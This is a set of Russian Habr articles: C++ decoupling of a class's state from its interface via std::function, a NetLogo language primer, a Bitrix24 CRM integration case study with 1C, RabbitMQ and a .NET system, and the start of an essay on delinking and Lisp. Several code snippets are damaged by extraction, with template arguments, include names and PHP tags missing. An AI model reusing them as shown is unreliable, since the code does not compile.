Для начала, проиллюстрируем озвученный выше тезис еще раз. Допустим, у нас есть:
— Заголовочный файл → interface1.h:
```
class A {
public:
void next_step();
int result_by_module(int m);
private:
int _counter;
};
```
— Реализация интерфейса → implementation1.cpp:
```
#include "interface1.h"
int A::result_by_module(int m) {
return _counter % m;
}
void A::next_step() {
++_counter;
}
```
— cpp-файл с функцией main → main.cpp:
```
#include "interface1.h"
int main(int argc, char** argv) {
A a;
while (argc--) {
a.next_step();
}
return a.result_by_module(4);
}
```
В заголовочном файле определен класс А, имеющий приватное поле \_counter. До данного приватного поля имеют доступ только методы класса и никто более (оставим за рамками хаки, friend-ов и другие приемы, нарушающие инкапсуляцию).
Однако, если мы захотим изменить тип данного поля, потребуется перекомпиляция обоих единиц трансляции: файлов implementation.cpp и main.cpp. В файле implementation.cpp расположена функция-член, а в main.cpp объект типа А создается на стеке.
Данная ситуация понятна, если рассматривать С++ как прямое расширение языка С, т.е. макро-ассемблер: необходимо знать размер создаваемого на стеке объекта.
Но давайте попробуем сделать шаг вперед и попробуем избавиться перекомпиляци всех единиц трансляции, использующих определение класса.
2. Используем PIMPL
-------------------
Первое, что приходит в голову — это использовать паттерн PIMPL (Pointer to implementation).
Но у этого паттерна есть недостаток: необходимость писать обертку для всех методов класса примерно таким образом (опустим дополнительные сложности по управлению памятью):
— interface2.h:
```
class A_impl;
class A {
public:
A();
~A();
void next_step();
int result_by_module(int);
private:
A_impl* _impl;
};
```
— implementation2.cpp:
```
#include "interface2.h"
class A_impl {
public:
A_impl(): _counter(0) {}
void next_step() {
++_counter;
}
int result_by_module(int m) {
return _counter % m;
}
private:
int _counter;
};
A::A(): _impl(new A_impl) {}
A::~A() { delete _impl; }
int A::result_by_module(int m) {
return _impl->result_by_module(m);
}
void A::next_step() {
_impl->next_step();
}
```
3. Делаем внешний интерфейс на std::function
--------------------------------------------
Попробуем сделать этот паттерн «более функциональным» и отвязать внутреннее устройсто класса от его публичного интерфейса.
Для внешнего интерфейса будем использовать стуктуру с полями типа std::function, хранящими методы. Также определим «виртуальный конструктор» — свободную функцию, которая возвращает новый объект, обернутый в smart-pointer:
— interface3.h:
```
struct A {
std::function \_result\_by\_module;
std::function \_next\_couter;
};
std::unique\_ptrcreate\_A();
```
Мы получили полностью, «гальванически», отвязанный интерфейс класса. Время подумать о реализации.
Реализации начнем в свободной функции — виртуального конструктора.
```
std::unique_ptrcreate\_A(int start\_i) {
std::unique\_ptrresult(new A());
result->result\_by\_module\_ = ???
result->next\_counter\_ = ???
return result;
}
```
Как же нам хранить внутреннее состояние объекта A? Для этого создадим отдельный класс, который будет описывать внутренне состояние внешнего объекта, но не будет являться никак с ним связанным.
```
struct A_context {
int counter_;
};
```
Таким образом, мы получили тип объекта, который будет хранить состояние и этот тип никак не связан с внешним интерфейсом!
Также, создадим свободную статическую функцию \_\_A\_result\_by\_module, которая будет будет выполнять роль метода. Фунция первым аргументом будет пренимать объект типа A\_context (точнее smart-pointer; не правда ли, похоже на python?). Для сужения области видимостипо поместим функцию в анонимное пространстве имен:
```
namespace {
static int __A_result_by_module(std::shared_ptr ctx, int m) {
return ctx->counter\_ % m;
}
}
```
Вернемся к функции create\_A. Воспользуемся функцией std::bind для связывания объекта C\_context и функции \_\_A\_result\_by\_module в единое целое.
Для разноообразия, реализуем метод next\_counter без использования новой функции, а с помощью лямбда-функции.
```
std::unique_ptrcreate\_A() {
std::unique\_ptrresult(new A());
auto ctx = std::make\_shared();
// Инициализируем поля - аналог списков инициализации
ctx->counter\_ = 0;
// Определяем методы
result->\_result\_by\_module = std::bind(
\_\_A\_result\_by\_module,
ctx,
std::placeholders::\_1);
result->\_next\_step = [ctx] () -> void {
ctx->counter\_++;
};
return result;
}
```
4. Итоговый пример
------------------
Итого, код из начала статьи теперь можно переписать таким образов:
— interface.h:
```
#include
#include
struct A {
std::function \_result\_by\_module;
std::function \_next\_step;
};
std::unique\_ptrcreate\_A();
```
— implementation.cpp:
```
#include "interface3.h"
#include
struct A\_context {
int counter\_;
};
namespace {
static int \_\_A\_result\_by\_module(std::shared\_ptr ctx, int i) {
return ctx->counter\_ % i;
}
}
std::unique\_ptrcreate\_A() {
std::unique\_ptrresult(new A());
auto ctx = std::make\_shared();
ctx->counter\_ = 0;
result->\_result\_by\_module = std::bind(
\_\_A\_result\_by\_module,
ctx,
std::placeholders::\_1);
result->\_next\_step = [ctx] () -> void {
ctx->counter\_++;
};
return result;
}
```
— main.cpp:
```
#include "interface3.h"
int main(int argc, char** argv) {
auto a = create_A();
while (argc--) {
a->_next_step();
}
return a->_result_by_module(4);
}
```
### 4.1. Немного о владении и управлении памятью
Схема владения объектов может быть описана следующим образом: объект внешнего интерфейса владеет функторами «методов». Функторы «методов» совместно владеют 1 объектом внутреннего состояния.
Таким образом, время жизни объекта внешнего интерфейса определяет время освобождения объектов внутреннего состояния и объектов-функторов. В момент освобождения объекта внешнего интерфейса, будут освобождены объекты-функторы. Так как объектом внутреннего состояния владеют только объекты-функторы, то в момент освобождения последнего объекта-функтора будет освобожден и объект внутреннего состояния.
5. Итоги
--------
Таким образом, нам удалось развязать внутреннее состояние объекта от его внешнего интерфейса. Явно разделено:
**1.** Внешний интерфейс:
— Использован интерфейс, основанный на std::function, никак не зависящий от внутреннего состояния
**2.** Механизм порождения объектов:
— Используется свободная функция. Это позволяет проще реализовывать порождающие паттерны.
**3.** Внутреннее состояние объекта
— Использован отдельный класс, описывающий внутреннее состояние объекта, область видимости которого находится полностью внутри одной единицы трансляции (cpp файла).
**4.** Связывание внутреннего состояния и внешнего интерфейса
— Использована лямбда-функции для небольших методов/геттеров/сеттеров/…
— Использована функция std::bind и свободные функции для методов с нетривиальной логикой.
Кроме того, тестируемость кода в рамках данного кода выше, так как теперь легче написать unit-тест на любой метод, так как метод — это просто свободная функция. | https://habr.com/ru/post/312148/ | null | ru | null |
# NetLogo: И взрослым, и детям
Многие сложные системы удается исследовать только моделированием. Для систем, состоящих из большого количества независимых объектов, такие как поведение толпы, развитие многоклеточных организмов или военные операции, наиболее адекватным оказывается агентное моделирование. Есть [много](http://ru.wikipedia.org/wiki/Сравнение_средств_разработки_для_создания_мультиагентных_систем) предназначенных для этого систем, например российская проприетарная [AnyLogic](http://www.anylogic.ru/).
Я же хочу рассказать об языке [NetLogo](http://ccl.northwestern.edu/netlogo/), хорошо зарекомендовавшим себя в образовании, но годный и для взрослых задач.
Синтаксис
=========
Синтаксис Logo минималистичен — разделенная пробелами последовательность имен и констант с редкой группировкой с помощью [] или (). [] служат для создания списков и группировки команд в блок в большинстве конструкций, () — обычные скобки для подвыражений. Имена ссылаются на встроенные или определенные программистом сущности — функции, переменные
Команды (процедуры) объявляются
```
to имя [список имен аргументов]
тело
end
```
Функции в NetLogo называются «репортеры» и объявляются немного по другому:
```
to-reporter имя [список имен аргументов]
тело
report возвращаемая величина
end
```
Про каждую процедуру или функцию компилятор знает «арность» («валентность») и не требует лишний раз использовать группировку. Правда с функциями высших порядков может ошибаться — тогда ему нужна подсказка в виде круглых скобок.
Пусть у нас определены функции:
```
to-report inc [x]
report x + 1
end
to-report add [x y]
report x + y
end
```
Тогда можно написать
```
add add inc 1 inc 2 inc 3
```
и получить заслуженную девятку.
Правильно работает так же
```
map inc [1 2 3]
```
который возвращает список [2 3 4]. А для add уже придется написать скобки
```
(map add [1 2 3] [4 5 6])
```
Агенты
======
Агенты бывают трех видов — черепашки (turtle — как же без них), связи (link) и пятна (patch — они же места в пространстве). Для черепашек и связей можно задать определяемую пользователем породу (breed). Агенты одного типа объединены в набор соответствующий (agentset) — turtles, links и pathes. Представители одной породы так же объединены в набор. Новая порода создается командой
```
breed [ninjas ninja]
```
где ninja — название породы, а ninjas — название набора, объединяющего всех агентов этой породы.
Есть так же особый агент — наблюдатель.
Черепашки создаются командой create-turtles (с аргументом — количество создаваемых черепах), и далее находятся по индексу функцией turtle. Агент — «first class value», при желании его можно сохранить в переменной, но требуется это редко.
Агент или набор агентов могут быть контекстом для команды. Выполнение команд в контексте агентов — основной механизм работы с ними.
```
ask turtles [fd 1]
```
Этот код попросит всех черепашек сделать шаг вперед.
```
ask patch 17 13 [set pcolor pink]
```
А этот покрасит поле с координатами (17,13) в нежно розовый цвет.
Породу можно установить динамически
```
ask turtle 1 [set bread ninjas]
ask ninja 1 [set pcolor black]
```
Переменные
==========
В исходном Logo была реализована динамическая область видимости, что создает неудобства и противоречит современным тенденциями в области языков программирования. Разработчики NetLogo поступили сурово — запретили создание одноименных переменных, область видимости которых могут пересечься. Разработчикам библиотек это удобства не прибавляет, но в обучении школьников скорее полезно. Да и социологам и военспецам в разработке моделей позволит делать меньше ошибок :-).
Область видимости статическая, что упрощает использование функций высших порядков.
Переменные могут быть глобальные, собственные для типа агентов или породы, формальными аргументами и локальные в блоке кода. Одно и то же имя переменной не может ссылаться на разные классы переменных, но локальные переменные в разных блоках, в том числе и в одной функции, могут называться одинаково. Имя локальной переменной не может совпадать с именем аргумента функции, где она определена или с именем глобальной или агентной переменной.
Глобальные переменные описываются
```
global [имя1 имя2 ...]
```
собственные
```
turtles-own [имя3 имя4 ...]
ninjas-own [имя5 имя6 ...]
```
Локальные переменные создаются командой
```
let имя7 начальное_значение
```
Функции высших порядков
=======================
Некоторые стандартные функции, такие как map, в качестве одного из аргументов получают другую функцию. Им можно просто указать имя передаваемой функции или написать замыкание. Замыкание представляет из себя код, заключенные в []. То, что это замыкание, а не список, компилятор угадывает по контексту. В качестве формальных параметров используются переменные '?', '?1', '?2' и тд.
Использование своих функций высших порядков сложнее. Присвоить переменной или передать другой функции функцию-значение можно с помощью специальной функции task, а вызвать функцию из переменной — с помощью runresult (или run для команд).
```
to test1 [f]
show (runresult f 1)
show (map f [2 3 4])
end
test1 (task [? + 2])
```
Лично я такой подход с разделением функций и переменных, ссылающихся на функции, считаю не удачным, но он реализован, например, в Common Lisp, и имеет своих сторонников.
Интерфейс и графика
===================
В программе присутствуют три вкладки (таба): «интерфейс», документация, и редактор кода. В табе «интерфейс» присутствуют поле графических объектов (в том числе и изображение мира), поле текстового вывода и REPL. В REPL можно переключать режимы, задающие в каком контексте выполняются водимые команды — «наблюдатель», «черепахи», «пятна» и «связи». REPL ограниченный — описывать переменные, породы, процедуры и функции в нем нельзя (они создаются вне контекста), придется переходить в редактор кода.
В зоне, где нарисовано поле с миром, можно «мышкой» (нажав правую кнопку на свободном месте) создавать другие графические объекты и элементы интерфейса. При создании им надо задать имена, по которым к ним можно обращаться из программы. Способа порождать графические объекты программно я не нашел. В файле эти объекты сохраняются в текстовом виде после кода, но в малопригодной для ручного редактирования форме.
Например, если мы создадим «график» с именем «plot1», то команда
```
set-current-plot "Class Histogram"
histogram map [position ? [red green blue]] ([color] of turtles)
```
нарисует график распределения черепах по красному, зеленому и синему цветам (предполагая, что другие не встречаются).
Библиотека моделей
==================
К NetLogo прилагается обширная [библиотека моделей](http://ccl.northwestern.edu/netlogo/models/), от учебных и развлекательных, до исследовательских. Некоторые модели умеют общаться со специализированным железом, таким как [GoGo board](http://www.gogoboard.org/).
Доступ к модели к модели осуществляется через меню File. Как правило, в интерфейсе моделей есть кнопки Setup и Go и для запуска их надо нажать в этом порядке. Setup инициализирует модель, после чего ее настройки можно изменить через интерфейс. | https://habr.com/ru/post/220589/ | null | ru | null |
# Как мы CRM Битрикс24 с кучей всего интегрировали
У нас был сложный сайт с личным кабинетом клиентов, устаревшая, переписанная 1С-ка, десяток маркетинговых сервисов, и телефония на Asterisk.
Единственное, что вызывало у меня опасение — это учётная система, написанная на .net. Ничто в мире не бывает более беспомощным, безответственным и порочным, чем php-программист, который пытается написать интеграцию с .net. Я знал, что рано или поздно мы заинтегрируем и эту дрянь…
Меня зовут Антон, я руковожу проектами по внедрениям CRM Битрикс24 в [компании ИНТЕРВОЛГА](https://www.intervolga.ru/?utm_source=habr&utm_medium=cpc&utm_campaign=post_introcrm).
Сегодня расскажем, как мы не сошли с ума, пытаясь подружить новую CRM Битрикс24 с зоопарком клиента.
Если вы ИТ-специалист, которого попросили организовать внедрение CRM, то наверняка в пожеланиях была фраза про «пусть менеджеры работают в одной программе, только в CRM». Никаких переключений в 1С и другие системы. Чтобы реализовать такой сценарий, нужно обогатить CRM данными из внешних систем, а потом добавить логику работы с этими данными.
В CRM будет появляться новая информация, и ее придется передавать в другие системы.
Итак, в качестве нового зверька в зоопарке сегодня выступает 1С-Битрикс24.
Тут многие могут спросить, а чего его интегрировать, там же «1С» в названии есть, уж хотя бы с 1Ской всё должно работать «из коробки».
интеграция 1CДействительно, для стандартных ситуаций есть готовые механизмы обмена. Собрали для вас небольшую [табличку](https://www.intervolga.ru/upload/habr/table_crm.pdf) таких заготовок «из коробки».
В нашем кейсе для NDA-компании (импортёра) мы должны были организовать CRM для оптовых b2b-продаж. Структура продаж выглядела так:
Система работы b2b-продажСтруктура стандартная, если вы что-то импортируете или производите в больших количествах. Например, вы официальный импортёр (или производитель) Нюка-Колы. Ваша продукция пользуется спросом по всей стране, крышечки особенно.
Продавать Нюка-Колу напрямую каждому магазинчику и бару слишком хлопотно. Поэтому, вы сотрудничаете с крупными дистрибьюторами. Те, в свою очередь, продают напиток мелкому бизнесу. А уже у него вы, как розничный клиент, покупаете Нюка-Колу по дороге на работу, чтобы взбодриться.
Путь продукции в целом понятен, почти на каждом этапе (возможно, за исключением розничной продажи), нужно принимать и отгружать заказы, контролировать план продаж, работать с претензиями клиентов и направлять закрывающие документы.
За каждый из таких блоков отвечает та или иная ИТ-система. Нашей задачей было добавить сюда CRM-систему, отслеживающую продажи дистрибьюторов другим b2b клиентам. В этой статье мы хотим остановиться на интеграционной составляющей такого проекта — обычно это наиболее рискованная и сложная часть.
Чтобы реализовать проект, нужно интегрировать нашего новичка со старожилами:
1. Развитый сайт с личным кабинетом b2b-клиента.
2. Система по обмену данными с дистрибьюторами Pradata.
3. Несколько разноплановых переписанных 1С-ок крупных дистрибьюторов.
4. Самописная учётная система одного из дистрибьюторов.
5. Несколько маркетинговых внешних сервисов, оставим их пока за рамками.
Передавать нужно было стандартный для таких проектов состав сущностей:
1. Товары.
2. Клиенты.
3. Контакты.
4. Заказы.
5. Дополнительные справочники.
Как обычно, усложнялось всё сроками и большим количеством участников проекта. Готового модуля для такого случая у Битрикса ожидаемо не нашлось. С учётом мнения всех сторон, выбрали следующую схему интеграций:
схема интеграцийРазберём, как мы «строили стрелочки».
### Интеграция между 1Сками дистрибьюторов и CRM — промежуточная 1С
Схема с добавлением новой промежуточной 1С была выбрана для стабилизации разношёрстных данных от разных дистрибьюторов. Наша команда работала на стороне CRM и организовала промежуточную 1С с механизмами обмена.
Сначала планировали использовать встроенные в 1С планы обмена. Но потом для унификации решили всё сделать на веб-сервисах. Это позволило унифицировать обмен — 1Ски и CRM пользовались одними и теми же методами для общения с центральной 1Ской.
Обмен между 1С и CRMСо стороны промежуточной 1С мы предоставили готовый REST-интерфейс с определенным набором методов: добавление товаров, а также добавление, изменение и удаление клиентов, менеджеров, типов цен, цен и заказов. Работа велась в конфигурации УТ 11.4.
Мы не хотели изобретать велосипед и планировали использовать стандартный протокол OData. Достаточно было опубликовать базу на веб-сервере и привязать RLS (ограничение доступа на уровне записей и полей).
После анализа поняли, что это не лучшее решение.
Интерфейс должен быть понятен и прост в использовании. Если взглянуть на изменение цены товара, то для этого необходимо создать документ «Установка цен номенклатуры» с заполнением всех обязательных полей (статус документа, статус согласования, ответственный и пр.).
Конечному пользователю не нужно знать об этих нюансах, ведь для автоматического создания документа ему достаточно передавать только дату изменения цены, ид товара и саму цену. Обработку полученной информации мы берем на себя.
Также был вопрос с логами — хотели сделать их удобными для просмотра пользователем. Обычно для этого используют журнал регистрации — специальный инструмент в 1С, который позволяет отслеживать кто и когда вносил изменения в базу. Он хорош собой, но не каждый менеджер сможет с ним эффективно взаимодействовать. Плюс хочется сохранять текст запроса для последующего анализа. Решили создать собственную систему логирования в регистре сведений. Это стандартный объект 1С для работы с разнообразными данными.
Учитывая все детали выше, для решения выбрали собственный REST-интерфейс.
**Программный REST-интерфейс в 1С**
По просьбе клиента были разграничены методы добавления и обновления, а для каждого метода были использованы свои шаблоны URL:
добавление клиента в 1СВ модуле http-сервиса только получение данных из http запроса и передача в метод обработки:
метод обработкиПрием и обработка полученных запросов была выделена в два общих модуля. Один из модулей выступает в роли REST-интерфейса контроллера. В этом модуле каждой из функций на вход подается строка в формате JSON или параметры, все зависит от метода. Каждая функция возвращает исключительно http ответ.
возвращение http-ответовВышеописанные функции схожи между собой, и каждая из них состоит из трех частей:
описание функции«Внутренняя» обработка полученных данных происходит во втором модуле. Модуль разделен по областям на основании обрабатываемых объектов. Структуры областей схожи между собой:
структуры областейПример метода обновления типов (видов) цен. Сами методы также структурно схожи между собой:
метод обновления типов (видов) ценКак мы видим, для использования методов из модуля-контроллера, достаточно передавать строки или параметры. Благодаря этому в “обработке” 1С без проблем удалось написать простой эмулятор отправки запросов, который используется для отладки, а также для обработки данных в 1С если, по той или иной причине, не работают HTTP-сервисы (напрямую в 1С данные не изменяем).
Пример работы эмулятора:
работа эмулятораПод капотом:
Настроили логирование входящих запросов с разграничением по пользователям. Запросы, пришедшие с помощью эмулятора, также логируются.
Пример лога (специально передал некорректный JSON):
логНе забыли и про регистрацию изменений. Было решено сохранять дату и время изменения и дать возможность получать измененные данные на определенный период. Такой подход позволял повторно отправлять данные из 1С, если по какой-либо причине они были некорректно обработаны на стороне пользователей.
сохранение даты и времени измененияВ итоге написали готовый для использования REST-интерфейс. Все работы выполнялись в расширении, основная конфигурация осталась без изменений.
Это значит, что при следующем обновлении 1С, ничего из стандартных функций не сломается и вы “не слетите” с поддержки.
Выделим ещё несколько интересных доработок:
1. Сохранение трех версий табличной части товаров у заказов при различных статусах с удобным интерфейсом для просмотра.
2. Автоматическую загрузку вариантов статуса заказа с сайта и использование их идентификаторов в обмене.
Тут также не было готовых инструментов, собирали эти сценарии на основе типового инструмента версионирования объектов в 1С, а загрузку статусов вырезали из модуля обмена с БУСом.
### Интеграция между CRM и личным кабинетом b2b-клиента
Личный кабинет был на 1С-Битрикс. Казалось бы, у сайта на Битриксе и у CRM Битрикс24 должны быть готовые механизмы интеграции. Они есть и закрывают самые базовые сценарии:
1. Передачу заявок с несложных форм.
2. Передачу заказов с сайта в CRM.
Но никакого обмена клиентами, контактами, товарами и т.д. нет. Может оно и хорошо, иначе кто тогда будет платить программистам? :)
Провели аналитику и поняли, что нагрузка будет высокой, а требования к доставке – серьезными. Решили использовать RabbitMQ. Дополнительно брокер сообщений должен помочь при подключении новых систем — в перспективе было ещё несколько сайтов и мобильное приложение.
Для работы с RMQ использовали стороннюю библиотеку php-amqplib/php-amqplib, рядом положили opis/json-schema для валидации сообщений и ramsey/uuid для генерации уникальных идентификаторов.
```
php
use Bitrix\Main\Application;
use PhpAmqpLib\Channel\AMQPChannel;
use PhpAmqpLib\Connection\AbstractConnection;
use PhpAmqpLib\Connection\AMQPSSLConnection;
use PhpAmqpLib\Message\AMQPMessage;
class Client {
protected AbstractConnection $conn;
protected AMQPChannel $ch;
protected Application $bxApp;
function __construct(Config $config, Application $bxApp) {
$this-conn = AMQPSSLConnection::create_connection(
array_map(
fn(string $node) => array(
'host' => $node,
'port' => $config->port,
'user' => '',
'password' => '',
'vhost' => $config->vhost
),
$config->nodes
)
);
$this->bxApp = $bxApp;
$this->ch = $this->conn->channel();
}
function publish(AMQPMessage $msg, string $exchange, string $routingKey): void {
$this->ch->basic_publish($msg, $exchange, $routingKey);
}
function consume(string $queue): ?AMQPMessage {
return $this->ch->basic_get($queue);
}
}
```
При создании или обновлении сущности на стороне сайта мы брали все нужные поля, упаковывали в JSON и отправляли в нужный exchange на стороне RabbitMQ. Соответственно, exchange были выделены по названиям сущностей, а само сообщение, для маршрутизации в нужную очередь, содержало routing\_key с указанием отправителя.
На основании exchange и routing\_key сообщение отправлялось в нужную очередь, которые, в свою очередь, были выделены по правилу <отправитель>\_<сущность>.
При помощи opis/json-schema выполнялась валидация JSON-сообщений — как при получении, так и при отправке. Не бог весть что, признаться, но хотя бы можно было отсеивать гарантировано некорректные сообщения до валидации их в контексте бизнес-логики.
Получение реализовывали на агентах. Для незнакомых с Битриксом людей могу упомянуть, что это что-то вроде пользовательских функций, которые отрабатывают всем скопом на cron’e. По итогу, раз в минуту каждый сайт забирал из нужных ему очередей какое-то количество сообщений, валидировал их и выполнял необходимые действия с полученными данными.
```
php
static function consumeAgent(): string {
$logger = (new PortalLogger(new CEventLog()));
try {
$service = Service::instance();
$messagesCount = 0;
do {
$messagesCount++;
$message = $service-consume();
if ($message === null) {
continue;
}
$messageBody = $message->getBody();
try {
$service->validator->validate($message->getBody(), $service->schema);
$entity = $service->toEntity($message);
$service->save($entity);
} catch (Exception $exception) {
$message->nack();
$logger->warning('...');
continue;
}
$message->ack();
} while ($message !== null && $messagesCount < Service::AGENT_LIMIT);
} catch (Throwable $t) {
$logger->error('...');
} finally {
return __METHOD__ . '();';
}
}
```
Оставалось еще две проблемы. Это контроль дубликатов и проставление связей между сущностями. Однако, как выяснилось, обе этих проблемы решаются вводом единого uuid. Главное, чтобы он был уникален для сущностей не в рамках одной системы, а нескольких. Поэтому идею с внутренними идентификаторами откинули и остановились на uuid4 и реализации от ramsey.
Вместе с полями сущности передавался так же ее uuid. При получении новых сообщений это помогало проверять наличие этой записи на целевом сайте. А в ситуациях, когда требовалось проставлять связи между сущностями (RabbitMQ не гарантирует порядка доставки сообщений в рамках одной очереди, и имели место быть ситуации, когда дочерняя сущность приходила раньше родительской), можно было в полях с привязками передавать uuid вместо внутренних идентификаторов.
### Интеграция с Pradata
В Pradata у клиента хранились данные о продажах конечным клиентам. Естественно, они востребованы и уместны в CRM — менеджеры видят цифры реальных продаж в привязке к конкретным клиентам.
Для нас эта система была странным «чёрным ящиком».
Исходя из соображений безопасности, клиент не стал предоставлять нам доступ ко всей Pradata, ограничившись лишь формированием нескольких SQL VIEW с данными, которых, по его мнению, хватало нам для работы. И здесь мы столкнулись сразу с тремя проблемами:
1. Необходимо было подключить этот SQL VIEW к Битриксу. При этом, желательно, сохранив возможность использовать API Битрикса для работы с этими данными.
2. Клиент предоставил довольно небрежно сформированные данные. Таким образом, в некоторых таблицах можно было увидеть ~120 столбцов, среди которых были *Номенклатура\_ID,* *id\_unique, id\_unique2,* *attribute1* - *attribute80*. Да, там правда было 80 столбцов с соответствующими названиями. Как сейчас помню, в *attribute4* хранился ИНН.
3. В одной из таблиц был подготовлен такой набор данных, что там просто физически не могло быть ничего, что можно считать первичным ключом. Даже вся строка целиком, в теории, могла быть не уникальной.
Как выяснилось, Битрикс отлично умеет работать с SQL VIEW, если подключить его как отдельную БД в файле настроек. Так что, указав в /bitrix/.setting.php новую конфигурацию, мы смогли подключиться к SQL VIEW без всяких проблем.
```
# bitrix/.settings.php
'connections' => array('value' => array(
'pradata' => array(
'className' => '\\Bitrix\\Main\\DB\\MssqlConnection',
'host' => 'view.client.ru',
'database' => 'db',
'login' => 'client',
'password' => '*********'
)
))
# usage
$c = \Bitrix\Main\Application::getConnection('pradata');
```
И это даже можно подружить с DataManager Битрикса, чтобы использовать ORM при работе с данными клиента.
```
php
use Bitrix\Main\NotImplementedException;
use Bitrix\Main\ORM\Data\DataManager;
use Bitrix\Main\ORM\Fields\IntegerField;
use Bitrix\Main\ORM\Fields\StringField;
class Table extends DataManager {
static function getConnectionName(): string {
return 'pradata';
}
static function getTableName() {
return 'clients';
}
static function getMap(): array {
return array(
(new IntegerField('CLIENT_ID'))-configureColumnName('id_client')->configurePrimary(),
(new StringField('NAME'))->configureColumnName('tt_name'),
(new StringField('COUNTRY'))->configureColumnName('country'),
(new StringField('CITY'))->configureColumnName('city'),
(new StringField('PRADATA_ADDRESS'))->configureColumnName('tt_addres'),
(new StringField('INN'))->configureColumnName('attribute4'),
);
}
static function add(array $data): void {
throw new NotImplementedException('SQL VIEW is for reading data only.');
}
static function update($primary, array $data): void {
throw new NotImplementedException('SQL VIEW is for reading data only.');
}
static function delete($primary): void {
throw new NotImplementedException('SQL VIEW is for reading data only.');
}
}
```
Как видно, достаточно было определить метод getConnectionName(), чтобы все заработало.
Дополнительно, очень просто решилась проблема с именованием столбцов. Мы просто выбрали те, которые нам удобно использовать, после чего указали для каждого из них оригинальные, используя метод configureColumnName.
Имея на руках подобный класс, дальнейшее взаимодействие с этими данными оказалось очень простым и даже скучным.
А что про ту кривую таблицу без первичного ключа, спросите вы? А ничего. Не пригодилась нам она, по итогу.
### Интеграция с учётной системой на .net
Учётная система одного из дистрибьюторов была написана на .net и находилась во внутреннем закрытом контуре. Данные из неё нужно было передать в CRM через промежуточную базу 1С. Для такой задачи уже точно никаких готовых модулей нет.
Помогло привлечение дружественного .net-разработчика и то, что в промежуточной базе данных мы использовали веб-сервисы с понятным механизмом вызова и составом данных. Разработчику оставалось написать небольшой коннектор, использующий наши веб-сервисы и внутренние методы учётной системы.
Основная задача адаптера — передать данные между 1С и внутренней учётной системой (назовём её ВУС). В ВУС данные попадают через корпоративную шину данных, которая располагается в закрытой среде. Чтобы иметь доступ к шине, адаптер должен разворачиваться в одной среде с ней, это накладывает ограничение доступа к самому адаптеру, он не может выступать в роли API, он может только сам запрашивать и передавать данные в 1С, используя разработанный нами ранее REST.
передача данных между 1С и ВУСПри написании кода адаптера мы учли, что он будет запущен в нескольких экземплярах для распределения нагрузки. Это накладывало риск повторного чтения данных из 1С. Пришлось организовать распараллеливание заданий между несколькими экземплярами.
Мы решили сделать один из запущенных экземпляров главным. Определение главного решается через общую таблицу в БД, в которую сами экземпляры вносят и обновляют информацию о себе, назначают себя главным, если такого нет. Задача такого экземпляра — забирать новые идентификаторы данных (ИД) от 1С API, для каждого ИД сформировать сообщение и положить в очередь на обработку.
Чтобы распределить нагрузку между экземплярами, обработку новых сообщений разделили на несколько этапов:
* получение подробной информации по ИД от 1С,
* формирование сообщения для учётной системы,
* отправка и ожидание ответа ESB,
* обработка и отправка в 1С успешного ответа,
* обработка ошибки от ESB.
После окончания каждого этапа данные логируются и создается сообщение в очередь для следующего этапа.
### Что нужно знать, интегрируя Битрикс24 с внешними системами
Вывод и итог одной строкой — Битрикс24 можно интегрировать практически с чем угодно. Вопрос только в цене и сроках.
Для простых случаев есть много решений «из коробки» (см. нашу [таблицу](https://www.intervolga.ru/upload/habr/table_crm.pdf)). В сложных случаях понадобится разработчик со знанием платформы и прямыми руками.
Если вы ищете подрядчика на сложный интеграционный проект, лучше чтобы он мог строить сразу две половины моста. Например, брал на себя работы по интеграции и со стороны Битрикс24 и со стороны 1С. Это снижает риски и уменьшает ваши затраты на синхронизацию команд.
риски в сложном интеграционном проекте | https://habr.com/ru/post/697800/ | null | ru | null |
# Delinking и Lisp
Экономический термин delinking впервые (насколько я смог отследить) использовал [Самир Амин](https://ru.wikipedia.org/wiki/%D0%90%D0%BC%D0%B8%D0%BD,_%D0%A1%D0%B0%D0%BC%D0%B8%D1%80) в работе 1984-го года [Delinking: Towards a Polycentric World](https://www.goodreads.com/book/show/390264.Delinking) для обозначения процесса выхода из системы глобального разделения труда. По многочисленными (для нашего немногочисленного Lisp сообщества) просьбам сообщников делюсь своим частным рассуждением о потенциале Lisp-систем в условиях delinking-а с более широкой аудиторией. Это мнение из категории «просто подумалось на досуге», оно не является абсолютно объективной истиной, но, вероятно, может представлять некоторый интерес.
Говорят, что Linux пишут уже 30 лет тысячи программистов по всему миру, поэтому ни одна страна в мире не может повторить Linux локально. Но это утверждение не учитывает, что результатом работы программиста является не конечный продукт, а программа. Конечный продукт, некоторый физический процесс, по программе производит компьютер. В некотором смысле программа подобна чертежу автомобиля. Автомобили производят более 200 лет, меняя подходы, чертежи и конкретные планы производства, но на уровне нынешних знаний и технологий, разработать и произвести автомобиль можно быстрее, чем за 2 столетия. Аналогично, значительная часть труда программистов расходуется на переписывание кода. Программисты кодируют некоторую логику, понимают, что она не подходит или устаревает под давлением новых требований и задач, код переписывают. Знания о том, что и как следует делать, накапливаются.
На уровне наших современных представлений о программной и аппаратной инженерии мы можем написать операционную систему с гораздо меньшими трудозатратами, потому что лучше понимаем и программные, и аппаратные тонкости этого дела. Развился понятийный аппарат, методы, алгоритмы. По нынешним временам, написание ядра OS с минимальной базовой функциональностью - это [курсовой проект в MIT](https://github.com/mit-pdos/xv6-riscv). Я сам в юности развлекался написанием микроядер с вытесняющей многозадачностью и планировщиками реального времени.
Однако операционную систему необходимо писать на некотором языке программирования. Здесь дела с трудоёмкостью обстоят не так радужно.
Для написания современного системного ПО в основном используют два языка: С и С++. Сейчас к этой паре постепенно добавляют Rust. Из всех этих языков небольшими силами создать и поддерживать абы какой компилятор (впрочем, как и интерпретатор) можно только для C. Создать и поддерживать для любого из этих языков эффективный компилятор - задача весьма трудоёмкая, даже с учётом накопленного опыта в построении компиляторов (не во времена первой версии Fortran живём). В семантике этих языков много крайних случаев, каждый из которых приходится рассматривать отдельно. Кроме семантики, трудоёмкость создания и поддержки могут существенно увеличить выбор как языка программирования, на котором будет написан компилятор, так и архитектурных особенностей этого компилятора. Некоторые языки программирования и архитектурные решения позволяют [архитектурным астронавтам](https://www.joelonsoftware.com/2008/05/01/architecture-astronauts-take-over/) удаляться от задачи на третьей космической скорости.
